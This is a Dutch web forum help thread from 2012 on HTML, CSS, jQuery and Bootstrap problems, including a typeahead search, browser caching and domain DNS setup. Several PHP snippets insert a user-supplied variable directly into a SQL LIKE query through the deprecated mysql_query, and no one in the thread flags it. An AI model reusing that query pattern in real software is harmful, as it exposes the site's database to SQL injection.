abonnement Unibet Coolblue
pi_119017386
[html, css, js] Voor Dummies

Dit topic is bedoeld voor alle vragen m.b.t. HTML, CSS en javascript, kortom alles wat je nodig hebt om (de frontend van) een website te maken.

HTML: Hyper Text Markup Language is de structuur van een website. Door middel van verschillende html tags geef je aan welke elementen bij elkaar horen (bijv: <div>, <ul>), of wat de betekenis van deze data is (bijv. <p>, <h1>). HTML leent zich ook voor opmaak, maar het is makkelijker en verstandiger om hier CSS voor te gebruiken.
CSS: Cascading StyleSheet is de opmaak van een website. In je CSS specificeer je bijvoorbeeld welke kleur bepaalde elementen moeten hebben, hoe groot ze zijn en hoe je ze wilt rangschikken.
JS: Javascript Javascript (niet te verwarren met programmeertaal Java) is een scripttaal, waarmee het mogelijk is je website dynamisch te maken. Javascript kan bijvoorbeeld HTML-elementen aanpassen, toevoegen of verwijderen. Omdat javascript zeer veelzijdig is, is er voor specifieke JS vragen ook een specaal topic, zie: [Javascript] voor dummies

Vragen over PHP, SQL of andere serverside programmeertalen horen niet in dit topic. Stel deze in [PHP/MySQL] voor dummies of open zelf een topic.
Voor vragen over webhosting, domeinnamen enz. is ook een ander topic: Het grote (betaalde) webhosting topic
En voor Wordpress is er ook een speciaal topic, als het om meer gaat dan de HTML/CSS van een theme: Topicreeks: Algemeen Wordpress topic

Code posten
Het is, als je een vraag stelt, vaak handig om hier een stukje code bij te voegen. Post niet klakkeloos je hele website, maar post alleen het stukje code waar je vraag over gaat. Gebruik bovendien de [code]-tag (code.png), zodat je HTML, CSS of Javascript code goed leesbaar is. Dus niet [quote] of [spoiler] of wat dan ook.

Veel voorkomende problemen
Veel problemen zijn te wijden aan het niet kloppen van HTML of CSS code. Een kleine typfout is snel gemaakt, en de webbrowser kan daar soms erg slecht mee omgaan. Om te controleren of je code technisch in orde is, kun je deze controleren met de W3 validator.
Is je code niet correct? Los dan eerst de fouten op zodat de validator geen foutmeldingen meer geeft. Dit lost niet altijd je probleem op, maar zorgt in ieder geval dat alles werkt zoals het hoort te werken, waardoor overige fouten ook veel makkelijker te achterhalen zijn.

IK SNAP ER NIETS VAN HELLEP! WAT IS CSS?
We helpen iedereen graag in dit topic, ook mensen die er helemaal niets van begrijpen. Maar we verwachten wel dat je je best doet om het wel te gaan begrijpen. Lees eens wat tutorials en probeer het altijd eerst zelf. Je krijgt hier tips waar je zelf iets mee moet doen.

Voor je een vraag stel hier, verplichte kost
http://www.alistapart.com/articles/css-floats-101/
http://www.alistapart.com/articles/css-positioning-101/
pi_119024347
ik lol-de om de tt :')
pi_119024873
Ik wil 'm op een t-shirt.
  vrijdag 9 november 2012 @ 18:26:50 #4
230788 n8n
Pragmatisch
pi_119024957
doen we een 'before' tegenwoordig niet met een dubbele dubbele punt?

ah een artikel hier over gevonden
http://www.impressivewebs.com/before-after-css3/
Specialization is for insects”.—Robert Heinlein
pi_119026892
IE struikelt daar soms nog over meen ik.
pi_119026984
Oh hey, ik heb daar nog uitgbreid op zitten commenten.
pi_119040496
quote:
14s.gif Op vrijdag 9 november 2012 19:16 schreef picodealion het volgende:
IE struikelt daar soms nog over meen ik.
Des te meer reden om 'm dubbel te zetten :Y)
pi_119063027
Hoe zorg ik ervoor dat mijn div's elkaar niet overlappen? Ik neem aan dat ik niet voor elke div een marge hoef in te stellen toch?

SPOILER
Om spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.
pi_119063108
Divs overlappen elkaar sowieso niet? Of snap ik je vraag niet?
pi_119063225
quote:
5s.gif Op zaterdag 10 november 2012 19:55 schreef picodealion het volgende:
Divs overlappen elkaar sowieso niet? Of snap ik je vraag niet?


div "under_top" zit nu onder div "top"
pi_119063511
Ín top bedoel je? Je sluit er geeneen af (ja alleen #bottom).
pi_119063594
quote:
2s.gif Op zaterdag 10 november 2012 20:05 schreef KomtTijd... het volgende:
Ín top bedoel je? Je sluit er geeneen af (ja alleen #button).
Jawel, maar die </div> tags zie je niet. Ik heb alles laten collapsen om de structuur te laten zien.
pi_119063691
En wat moeten wij er in hemelsnaam over gaan gaan zeggen als je maar de helft laat zien?
pi_119063778
quote:
14s.gif Op zaterdag 10 november 2012 20:10 schreef KomtTijd... het volgende:
En wat moeten wij er in hemelsnaam over gaan gaan zeggen als je maar de helft laat zien?
Ik zou graag willen weten waarom "top" "under_top" overlapt, maar de rest gewoon wel netjes onder elkaar gezet wordt.

Wat wil je zien?
pi_119063903
Je code. Liefst gewoon een online sample.
pi_119064003
quote:
1s.gif Op zaterdag 10 november 2012 20:16 schreef KomtTijd... het volgende:
Je code. Liefst gewoon een online sample.
http://pastebin.com/0GwJHmaP
pi_119064195
quote:
Ik denk dat ik de oplossing al heb. Ik moet alles met position: relative aanduiden in een nieuwe CSS file, dus niet die van Bootstrap (al zou dat natuurlijk ook kunnen, volgens mij).

EDIT: Werkt niet. :'(
pi_119064474
Kan ik eigenlijk een CSS naast de CSS van Bootstrap gebruiken? Of wordt alles dan overruled?

Als ik margin-top: 50px; doe, dan komt de tekst wel onder de navigatiebalk uit, maar zo wil ik het niet. Ik wil gewoon dat de delen van de pagina's na elkaar komen en elkaar dus niet overlappen.
  zaterdag 10 november 2012 @ 20:35:08 #19
134533 donroyco
dus niet Donroyco
pi_119064632
Gebruik jsfiddle.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
  zaterdag 10 november 2012 @ 20:35:52 #20
134533 donroyco
dus niet Donroyco
pi_119064659
quote:
1s.gif Op zaterdag 10 november 2012 20:16 schreef KomtTijd... het volgende:
Je code. Liefst gewoon een online sample.
quote:
Gebruik jsfiddle.
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
pi_119064793
quote:
0s.gif Op zaterdag 10 november 2012 20:35 schreef donroyco het volgende:

[..]

[..]

Gebruik jsfiddle.
http://jsfiddle.net/6mVcp/
pi_119065016
Problem solved:

<div class="navbar navbar-fixed-top"> moest zijn: <div class="navbar navbar-absolute-top">

Hier gevonden:

http://css-tricks.com/forums/discussion/16366/help-needed/p1

Thanks voor het meedenken! ;)
pi_119065035
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.

Je gaat zelf toch ook niet lopen debuggen zonder firebug... :{
pi_119065125
quote:
3s.gif Op zaterdag 10 november 2012 20:46 schreef KomtTijd... het volgende:
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.

Je gaat zelf toch ook niet lopen debuggen zonder firebug... :{
Online gooien, wat bedoel je daarmee?

Firebug? Ook nog nooit van gehoord. Zal eens kijken wat het is. ^O^
pi_119075888
Als ik errors gelijk wil outputten in een dropdown-login, dan moet ik met javascript werken toch? Of kan ik dat ook gewoon met PHP doen?
pi_119077270
De geit is gemolken! Ik herhaal: De geit is gemolken!
  zondag 11 november 2012 @ 11:48:06 #27
230788 n8n
Pragmatisch
pi_119079196
quote:
3s.gif Op zaterdag 10 november 2012 20:46 schreef KomtTijd... het volgende:
Gooi het gewoon ergens online. Zeker als het zo'n lap code is ipv een kleine testcase.

Je gaat zelf toch ook niet lopen debuggen zonder firebug... :{
web inspector
Specialization is for insects”.—Robert Heinlein
  zondag 11 november 2012 @ 17:28:49 #28
123869 Merkie
Surprisingly contagious
pi_119091498
Chrome Developer Tools >>>>> Firebug.
2000 light years from home
pi_119092223
Bla bla bla mijn tool is beter dan de jouwe.
pi_119120187
Ik heb met Bootstrap een typeahead veld gemaakt en ik heb de JS code onder aan m'n HTML pagina geschreven. Als ik dit doe werkt het wel:



..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.



SPOILER
Om spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.
pi_119120404
quote:
0s.gif Op maandag 12 november 2012 12:17 schreef pascal08 het volgende:

..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.

En wát gaat er niet goed?
  maandag 12 november 2012 @ 12:33:29 #32
104871 remlof
Europees federalist
pi_119120758
Die tieten in de tt mogen wel wat groter:

tt.replace(/\)\(/\s\)\(\s/)
  maandag 12 november 2012 @ 12:34:03 #33
123869 Merkie
Surprisingly contagious
pi_119120777
quote:
0s.gif Op maandag 12 november 2012 12:17 schreef pascal08 het volgende:
Ik heb met Bootstrap een typeahead veld gemaakt en ik heb de JS code onder aan m'n HTML pagina geschreven. Als ik dit doe werkt het wel:

[ afbeelding ]

..., maar zodra ik een query laat uitvoeren vanuit een ander PHP-bestand, dan gaat er iets niet goed. Het PHP-bestand stand-alone draaien werkt wel.

[ afbeelding ]

SPOILER
Om spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.
1
2
3
4
5
6
<?php
 $mysql_query 
mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15");
    while(
$row mysql_fetch_assoc($mysql_query)) {
        
$array[] = $row['last_name'];
    } 
?>
Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.

Ikzelf zou het zo doen:
1
2
3
4
5
6
7
8
9
<?php
 $array 
= array();
$mysql_query mysql_query("SELECT * FROM `users` WHERE last_name LIKE '%$query%' ORDER BY `status` DESC LIMIT 15");
    while(
$row mysql_fetch_assoc($mysql_query)) {
        
array_push($array,$row['last_name']);
    } 
header('Content-type: application/json');
echo 
json_encode($return_array);
?>
array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.

Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.

[ Bericht 6% gewijzigd door Merkie op 12-11-2012 12:42:43 ]
2000 light years from home
pi_119121128
quote:
0s.gif Op maandag 12 november 2012 12:34 schreef Merkie het volgende:

[..]
[ code verwijderd ]

Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.

Ikzelf zou het zo doen:
[ code verwijderd ]

array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.

Enne, voortaan inderdaad zeggen wat er niet goed gaat, lijkt me vrij essentiëel.
Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd?
  maandag 12 november 2012 @ 12:44:05 #35
75592 GlowMouse
l'état, c'est moi
pi_119121137
quote:
0s.gif Op maandag 12 november 2012 12:22 schreef pascal08 het volgende:

[..]

Ik heb 'm al in het JS-topic gepost. ;) Waar moet ik precies naar kijken in de developer-console van Chrome?
in de request en de reply daarop
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_119121155
quote:
0s.gif Op maandag 12 november 2012 12:34 schreef Merkie het volgende:

Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
Dit lijkt me inderdaad een goede optie, ik ga dat eens proberen. ^O^
pi_119121207
quote:
0s.gif Op maandag 12 november 2012 12:44 schreef GlowMouse het volgende:

[..]

in de request en de reply daarop
In het tabblad 'network' geeft 'ie wel een 404 fout, dus ik ben ook ergens weer verkeerd aan het linken, even checken...
  maandag 12 november 2012 @ 12:48:50 #38
123869 Merkie
Surprisingly contagious
pi_119121289
quote:
0s.gif Op maandag 12 november 2012 12:43 schreef pascal08 het volgende:

[..]

Als ik 'm stand-alone via XAMPP draai, dan zie ik wel een JSON met 8 namen, elke keer wordt er toch gewoon een waarde aan de array toegevoegd?
Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.

1
2
3
$("#typeahead").on("keydown", function(){
    $(this).typeahead({source: <hier je Ajax-functie>});
});
2000 light years from home
pi_119121434
quote:
0s.gif Op maandag 12 november 2012 12:48 schreef Merkie het volgende:

[..]

Je hebt gelijk, sorry. Dit is wat je moet doen denk ik.
[ code verwijderd ]

Ga ik direct proberen. ^O^

Wat er trouwens vaak gebeurd bij mij, is dat een verandering in de code niet goed wordt doorgevoerd in Chrome, terwijl ik wel gewoon refresh. Ik denk dat het iets te maken heeft met een gecached exemplaar, zou dat kunnen? Hoe testen jullie dit soort scripts?
  maandag 12 november 2012 @ 12:57:09 #40
123869 Merkie
Surprisingly contagious
pi_119121582
Altijd CTRL-F5 doen.

De manier die ik je verteld heb gaat trouwens niet werken bedenk ik me net. Ajax is namelijk asynchroon, als je een Ajax-request uitvoert dan moet je het resultaat in het Ajax-request zelf gebruiken. Je kan niet zeggen: var test = ajaxRequest(bla);

Je moet dit ongeveer doen:

1
2
3
4
5
6
$("#typeahead").on("keydown", function(){
    $.ajax(bla).done(function(result) { 
         var typeahead = $('#typeahead').typeahead();
         typeahead.data('typeahead').source = result;
    });
});
2000 light years from home
  maandag 12 november 2012 @ 13:01:09 #41
75592 GlowMouse
l'état, c'est moi
pi_119121705
quote:
0s.gif Op maandag 12 november 2012 12:57 schreef Merkie het volgende:
Altijd CTRL-F5 doen.
F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
  maandag 12 november 2012 @ 13:01:37 #42
123869 Merkie
Surprisingly contagious
pi_119121720
Just to be sure :6.
2000 light years from home
pi_119121776
quote:
0s.gif Op maandag 12 november 2012 13:01 schreef GlowMouse het volgende:

[..]

F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
Ik moet nu steeds handmatig al m'n browsergegevens verwijderen, dan doet 'ie het wel. :?
pi_119121923
F5 werkt ook lang niet altijd. Vooral IE heeft er een handje van om bestanden vrolijk vast te houden.
pi_119122108
quote:
0s.gif Op maandag 12 november 2012 13:08 schreef Devv het volgende:
F5 werkt ook lang niet altijd. Vooral IE heeft er een handje van om bestanden vrolijk vast te houden.
Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
  maandag 12 november 2012 @ 13:16:46 #46
104871 remlof
Europees federalist
pi_119122164
quote:
14s.gif Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:

[..]

Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
In IE10 werken placeholders eindelijk wel.
  maandag 12 november 2012 @ 13:24:30 #47
123869 Merkie
Surprisingly contagious
pi_119122365
quote:
14s.gif Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:

[..]

Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IE :6 .
2000 light years from home
pi_119122947
quote:
0s.gif Op maandag 12 november 2012 13:01 schreef GlowMouse het volgende:

[..]

F5 is genoeg, de ctrl is alleen nodig als je browsercache corrupt is.
vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt...
pi_119122960
quote:
0s.gif Op maandag 12 november 2012 13:24 schreef Merkie het volgende:

[..]

Je ontkomt er niet aan als je je site wilt testen in IE he. En je weet zelf net zo goed als ik dat een site nooit in één keer werkt in IE :6 .
Uiteindelijk test je in alle browsers ja, maar voor de initiële ontwikkeling IE gebruiken, dan kom je wel met zulke kromme producten... :')
  maandag 12 november 2012 @ 13:44:02 #50
84244 Scorpie
Abject en infaam!
pi_119123021
IE moet deaud.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  maandag 12 november 2012 @ 13:45:20 #51
75592 GlowMouse
l'état, c'est moi
pi_119123066
quote:
0s.gif Op maandag 12 november 2012 13:41 schreef mschol het volgende:

[..]

vooralsnog moet ik bij elke browser ctrl+f5 drukken om zeker te zijn dat alles vers van het net gehaald wordt en de cache ontweken wordt... ongeacht of die corrupt is of niet...
Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_119123139
quote:
0s.gif Op maandag 12 november 2012 13:45 schreef GlowMouse het volgende:

[..]

Elke browser (zie de tabel van 27 September 2010) stuurt If-Modified-Since headers mee bij een F5. Alleen als de webserver heel slecht is, is een F5 niet voldoende.
een standaard apache installatie, en F5 is dan niet afdoende...

overigens vermeld jou link het volgende:
quote:
F5 may give you the same page even if the content is changed, because it may load the page from cache. But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content.
pi_119123417
quote:
0s.gif Op maandag 12 november 2012 13:47 schreef mschol het volgende:

[..]

een standaard apache installatie, en F5 is dan niet afdoende...

overigens vermeld jou link het volgende:

[..]

Gewoon Ctrl + F5 gebruiken dus. :)
  maandag 12 november 2012 @ 13:56:15 #54
75592 GlowMouse
l'état, c'est moi
pi_119123442
quote:
0s.gif Op maandag 12 november 2012 13:55 schreef pascal08 het volgende:

[..]

Gewoon Ctrl + F5 gebruiken dus. :)
nee, niet.
quote:
0s.gif Op maandag 12 november 2012 13:47 schreef mschol het volgende:

[..]

een standaard apache installatie, en F5 is dan niet afdoende...
Apache stuurt standaard echt geen 304 terug.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_119123651
quote:
0s.gif Op maandag 12 november 2012 12:34 schreef Merkie het volgende:

[..]
[ code verwijderd ]

Dit stukje klopt niet. De while-loop wordt voor elk resultaat uitgevoerd, en voor elk resultaat herdefiniëer je $array[] als de waarde uit de kolom "last_name". Als je in Chrome of Firebug het network request bekijkt (doe dit dan ook, leer de developer tools gebruiken, leer debuggen) zie je waarschijnlijk dat de PHP-pagina een JSON-object terugstuurt met daarin maar één achternaam.

Ikzelf zou het zo doen:
[ code verwijderd ]

array_push is een functie waarmee je waardes aan een array kunt toevoegen. Deze code is niet getest overigens, maar zoiets als dit moet zeker werken.

Wat betreft je je JS-code, ik betwijfel of dit de juiste manier is om te bereiken wat je doet. De source van de typeahead lijkt mij een statisch element namelijk. Ik denk dat je een keydown event moet binden aan het veld waar je in typt, en in die event handler het source-attribuut moet updaten.
Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:

quote:
array_push() treats array as a stack, and pushes the passed variables onto the end of array. The length of array increases by the number of variables pushed. Has the same effect as:

<?php
$array[] = $var;
?>
------___------ 53
----.(___).---- 42
---(o\_!_/o)---
pi_119123659
quote:
0s.gif Op maandag 12 november 2012 13:56 schreef GlowMouse het volgende:

[..]

nee, niet.

[..]

Apache stuurt standaard echt geen 304 terug.
"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content."

Dat is toch precies wat ik wil?
pi_119123766
quote:
0s.gif Op maandag 12 november 2012 14:02 schreef pascal08 het volgende:

[..]

"But Ctrl-F5 forces a cache refresh, and will guarantee that if the content is changed, you will get the new content."

Dat is toch precies wat ik wil?
Bij IE moet je er nooit vanuit gaan dat het doet wat het zou moeten doen.
pi_119123850
quote:
0s.gif Op maandag 12 november 2012 13:56 schreef GlowMouse het volgende:

[..]

nee, niet.

[..]

Apache stuurt standaard echt geen 304 terug.
en toch wordt alles uit cache gehaald als ik geen ctrl + f5 gebruik...
  maandag 12 november 2012 @ 14:11:38 #59
123869 Merkie
Surprisingly contagious
pi_119123962
quote:
12s.gif Op maandag 12 november 2012 14:02 schreef Rockfire het volgende:

[..]

Pardon? Dat stukje werkt wel degelijk hoor. Sterker nog uit de php-manual van array_push:

[..]

Was ik al achter ja. Ik was met die syntax niet bekend.
2000 light years from home
pi_119125165
Nvm. :O


Ik heb de functie eindelijk werkend gekregen. Niet helemaal zoals ik het eigenlijk wilde met typeahead van Bootstrap. Maar goed, het werkt, dus ik ben tevreden. Dank voor jullie hulp. _O_

1
2
3
4
5
6
7
8
9
10
11
12
13
$(document).ready(function() {
    $('#typeahead').keyup(function() {
        var search = $(this).attr('value');
        $.post('/folder/ajax/search.php', {search:search}, function(data) {
            $('#result').html(data);
            $('#result').click(function() {
                var result_value = $(this).text();
                $('#typeahead').attr('value', result_value);
                $('#result').html('');
            });            
        });
    });
});


[ Bericht 26% gewijzigd door pascal08 op 12-11-2012 14:58:12 ]
  maandag 12 november 2012 @ 17:26:41 #61
123869 Merkie
Surprisingly contagious
pi_119131595
Zoiets als dit:
1
2
var typeahead = $('#typeahead').typeahead();
typeahead.data('typeahead').source = result;
Zou ook moeten werken hoor :P.
2000 light years from home
pi_119132012
quote:
14s.gif Op maandag 12 november 2012 13:15 schreef KomtTijd... het volgende:

[..]

Vandaar ook dat niemand in his right mind IE gebruikt als development browser.
Ik ben Microsoft ontwikkelaar en op dit moment maak ik aanpassingen voor Microsoft Dynamics CRM 2011. Dus IE is mijn ontwikkel-browser. Ik zit zelfs nog op Windows XP met IE8 _O- .
pi_119132035
Ik benijd je geenszins.
pi_119132275
en ik vond vtiger al vervelend! ;(
pi_119218389
ff een vraagje voor de kenners.

Ik maak een simpel websiteje (portfolio) via bijvoorbeeld weebly.com. (voorbeelt.weebly.com)
Ik heb een ".nl" domeinnaam gekocht. (www.voorbeelt.nl)
Ik wil de weebly site hosten op het ".nl" adres.

Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen

Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?

Of komt de website echt op www.voorbeelt.nl te staan?

Ik hoop dat het duidelijk is

Voorbeelt met een "t" is omdat met een "d" een bestaande website is
Eskimo Joe
pi_119218819
quote:
0s.gif Op woensdag 14 november 2012 22:00 schreef Mercan het volgende:
ff een vraagje voor de kenners.

Ik maak een simpel websiteje (portfolio) via bijvoorbeeld weebly.com. (voorbeelt.weebly.com)
Ik heb een ".nl" domeinnaam gekocht. (www.voorbeelt.nl)
Ik wil de weebly site hosten op het ".nl" adres.

Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen

Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?

Of komt de website echt op www.voorbeelt.nl te staan?

Ik hoop dat het duidelijk is

Voorbeelt met een "t" is omdat met een "d" een bestaande website is
Wat ik zo snel lees is het inderdaad zo dat www.voorbeelt.nl dan gekoppeld wordt aan voorbeelt.weebly.com en iemand die www.voorbeelt.nl intikt zal niet doorhebben dat hij op weebly.com zit.
------___------ 53
----.(___).---- 42
---(o\_!_/o)---
  woensdag 14 november 2012 @ 22:46:41 #67
12221 Tijn
Powered by MS Paint
pi_119220839
quote:
0s.gif Op woensdag 14 november 2012 22:00 schreef Mercan het volgende:

Krijg deze info van weebly.
Volg voor alle andere registrars deze algemene aanwijzingen:
1: Bij het bedieningspaneel van uw domein inloggen
2: Lokaliseer het gebied om de DNS-instellingen van uw domein te wijzigen
3: Maak 2 A-records aan die naar het IP-adres van Weebly verwijzen
Kortom: je zorgt ervoor dat jouw domeinnaam naar Weebly verwijst.

quote:
Wanneer ik dit doe, wordt dan de site www.voorbeelt.nl gekoppelt aan voorbeelt.weebly.com?
Dus wanneer iemand via google op www.voorbeelt.nl drukt wordt die dan op de achtergrond doorgestuurd naar voorbeelt.weebly.com?
Ja.

quote:
Of komt de website echt op www.voorbeelt.nl te staan?
Wat betekent dit? Hoe kan iets "echt op" een domein staan? Als je bedoeld dat je ook hosting bij je domein hebt en of er data van de Weeblysite bij jouw webhost terecht komt: nee.
pi_119313593
Hi allemaal,
ik heb op mn site t volgende in mn CSS bestandje
1
2
3
4
5
6
7
p {
    background: rgba(31, 31, 31, 0.8);
    padding: 8px;
    border-radius:10px;
    color: #FFFFFF;
    margin-left: 0px;
}
maar als ik nu meerder paragraphs onder elkaar heb, heb ik een soort van inhammetje tussen de verschillende paragraphs, zie hieronder

weet iemand hoe ik dit weg kan werken maar wel mn border radius behoudt aan de bovenkant van de bovenste en onderkant van de onderste p?
(die onderste groene balk is een afbeelding, let daar niet op)
pi_119313665
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
  zaterdag 17 november 2012 @ 15:44:45 #70
299167 stefanhaan
Bloeddorstige wasbeer
pi_119313869
P:first (border-rsdius-top)

P:last (border-radius-bottom)

Lees je eens in in CSS3 selectors
It was an opportunity to honour our memories and to make room for new ones
pi_119316021
quote:
0s.gif Op zaterdag 17 november 2012 15:38 schreef lkb9000 het volgende:
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
Soort van gedaan met wat toevoegingen van mezelf en t werkt, dankjewel!
pi_119316033
quote:
14s.gif Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)

P:last (border-radius-bottom)

Lees je eens in in CSS3 selectors
Even wat over gelezen, heel handig! Dankjewel :)
pi_119316576
quote:
14s.gif Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)

P:last (border-radius-bottom)

Lees je eens in in CSS3 selectors
Dat ga ik ook even doen ^O^
pi_119317300
quote:
14s.gif Op zaterdag 17 november 2012 15:44 schreef stefanhaan het volgende:
P:first (border-rsdius-top)

P:last (border-radius-bottom)

Lees je eens in in CSS3 selectors
^O^
quote:
0s.gif Op zaterdag 17 november 2012 15:38 schreef lkb9000 het volgende:
Een div om alle paragraphs heen, en de achtergrond en border-radius aan die div toekennen?
:N
pi_119317419
quote:
2s.gif Op zaterdag 17 november 2012 17:46 schreef picodealion het volgende:

[..]

^O^

[..]

:N
:@
pi_119330408
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?

Ik heb nu:

1
2
3
4
$('.selector').mouseout(function() {  
$('.selector').mouseup(function() {  
}
}

Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
pi_119335955
quote:
0s.gif Op zaterdag 17 november 2012 23:45 schreef pascal08 het volgende:
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?

Ik heb nu:


[ code verwijderd ]

Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt.
Simpeler kan niet? :P Desnoods een plaatje in Div 2 maken met een knopje erin :P
Redacted
  zondag 18 november 2012 @ 11:22:59 #78
299167 stefanhaan
Bloeddorstige wasbeer
pi_119337291
quote:
0s.gif Op zaterdag 17 november 2012 17:02 schreef jochemdejongen het volgende:

[..]

Even wat over gelezen, heel handig! Dankjewel :)
np ;)
It was an opportunity to honour our memories and to make room for new ones
  zondag 18 november 2012 @ 17:58:56 #79
123869 Merkie
Surprisingly contagious
pi_119349667
quote:
0s.gif Op zaterdag 17 november 2012 23:45 schreef pascal08 het volgende:
Hoe laat ik style="visibility:visible" veranderen naar style="visibility:hidden" bij het klikken naast de div?

Ik heb nu:


[ code verwijderd ]

Maar dan kan ik 'm alleen laten verdwijnen op het moment dat de muis UIT de div gaat.
1$('body').not('.selector').on('click', function() { });

Zoiets?

Edit: dit lijkt me beter: http://stackoverflow.com/(...)single-event-handler
2000 light years from home
pi_119350745
quote:
0s.gif Op zondag 18 november 2012 09:17 schreef cablegunmaster het volgende:

[..]

Een 2e div maken en beide laten verdwijnen als er op Div 2 wordt geklikt.
Simpeler kan niet? :P Desnoods een plaatje in Div 2 maken met een knopje erin :P
Ik heb de oplossing die Merkie heeft gevonden gebruikt. Bedankt voor het meedenken!

quote:
1s.gif Op zondag 18 november 2012 17:58 schreef Merkie het volgende:

[..]
[ code verwijderd ]

Zoiets?

Edit: dit lijkt me beter: http://stackoverflow.com/(...)single-event-handler
Dit is dus wat ik zocht. :) Ik heb er dit van gemaakt:

1
2
3
4
5
6
7
$(function() {
    $("body").click(function(e) {
        if ($(e.target).parents("#autosuggestcontainer").size() !== 1) { 
            document.getElementById('autosuggestcontainer').style.visibility = 'hidden';
        }
    });
});


